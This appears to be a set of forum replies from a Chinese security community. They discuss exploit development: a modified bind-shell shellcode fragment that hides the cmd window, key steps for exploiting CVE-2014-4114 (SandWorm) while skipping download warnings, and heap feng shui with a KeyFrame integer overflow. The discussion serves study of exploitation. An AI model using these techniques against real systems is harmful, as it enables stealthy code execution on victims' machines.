能力值:
( LV4,RANK:50 )
能力值:
( LV4,RANK:50 )
[原创]旧书重温:0day2[6]bind_shell
改了下楼主的SC,你的要跳黑框,改了下不跳了
push esp
push esp
push eax
push eax
push eax
push esp
push eax
push eax
//int 3
//////////cmd
mov dword ptr [esi],0x11646d63
mov byte ptr [esi+0x03],bl
push esi
///////////////
push eax
call [esi-0x1c]
要改成
push esp
push esp
push eax
push eax
mov al,08
shl eax,18h
push eax
xor eax,eax
push esp
push eax
push eax
//int 3
//////////cmd
mov dword ptr [esi],0x11646d63
mov byte ptr [esi+0x03],bl
push esi
///////////////
push eax
call [esi-0x1c]
能力值:
( LV4,RANK:50 )
能力值:
( LV4,RANK:50 )
能力值:
( LV4,RANK:50 )
能力值:
( LV4,RANK:50 )
能力值:
( LV4,RANK:50 )
[原创]CVE-2014-4114 SandWorm 沙虫漏洞分析报告
总结了一下关键要点
远程利用方式:
两个要点:
1.要修改CMD为3,也就是执行右键菜单的第二项,执行第一项也就默认的打开是有提示的.
2.要修改OLE对象的CLSID为{00022602-0000-0000-C000-000000000046},这样在实际数据中才能以UNC路径(注意不是WEBDAV)方式引用INF文件,同时可以跳过下载文件提示(makefileunsafe),因为程序把UNC路径当成的本地文件!
-----------
本地利用方式:
1.修改CMD同上
2.本地方式只能绑EXE,本地方式不能跳过下载文件提示,但是如果是绑EXE(菜单项第二项为以管理员方式运行),如果有UAC则提示UAC,如果没有UAC则EXE可直接运行!
-----------
结论:比较鸡肋的漏洞!
能力值:
( LV4,RANK:50 )
能力值:
( LV4,RANK:50 )
能力值:
( LV4,RANK:50 )
能力值:
( LV4,RANK:50 )
能力值:
( LV4,RANK:50 )
[原创]JavaScript中的堆风水,中英文对照版
逆向了一下mmutilse.dll中的CMemManager系列函数,原来是这个函数会先创建10个堆.最大的是0x2000
如果你要分配的空间小于0x2000,那就就用到预申请的堆,如果大于则在进程默认堆中分配.同时还有
一个64项的缓存机制.
能力值:
( LV4,RANK:50 )
能力值:
( LV4,RANK:50 )
[原创]JavaScript中的堆风水,中英文对照版
// The new operator is a wrapper around CMemManager::AllocBuffer. If the
// size size is less than 0x2000, it allocates a block from a special
// CMemManager heap, otherwise it is equivalent to:
//
// HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size+8) + 8
The KeyFrame function multiplies the npoints argument by 16, 8 and 4 and allocates four buffers. If npoints is greater than 0x40000000 the allocation size will wrap around and the function will allocate four small buffers. In our exploit, we'll set npoints to 0x40000801, and the function will allocate buffers of size 0x8018, 0x4008 and two of size 0x200c. We want the smallest buffer to be larger than 0x2000 bytes because smaller allocations will come from the CMemManager heap instead of the system allocator.
KeyFrame函数把npoints参数乘以16,8和4,然后分配了4个buffer。如果npoints大于0x40000000的话,实际上就溢出了,程序申请的4个buffer就会过小。在我们这个exploit中,我们把npoints写成0x40000801,这样程序要求分配的4个buffer就只有0x8018, 0x4008和2个0x200c。当然我是故意要使最小的那2个buffer大于0x2000的。因为这样这2个buffer就会由CMemManager系列函数,而不是系统的内存分配函数来分配了。
不管是看老外源代码里的注解还是英文,“因为这样这2个buffer就会由CMemManager系列函数,而不是系统的内存分配函数来分配了”,这句话应该译反了吧。
我想应该是如果buffer小于0x2000才会调CMemManger系列函数吧,不然在咋个能读到你默认堆里面的指针嘛。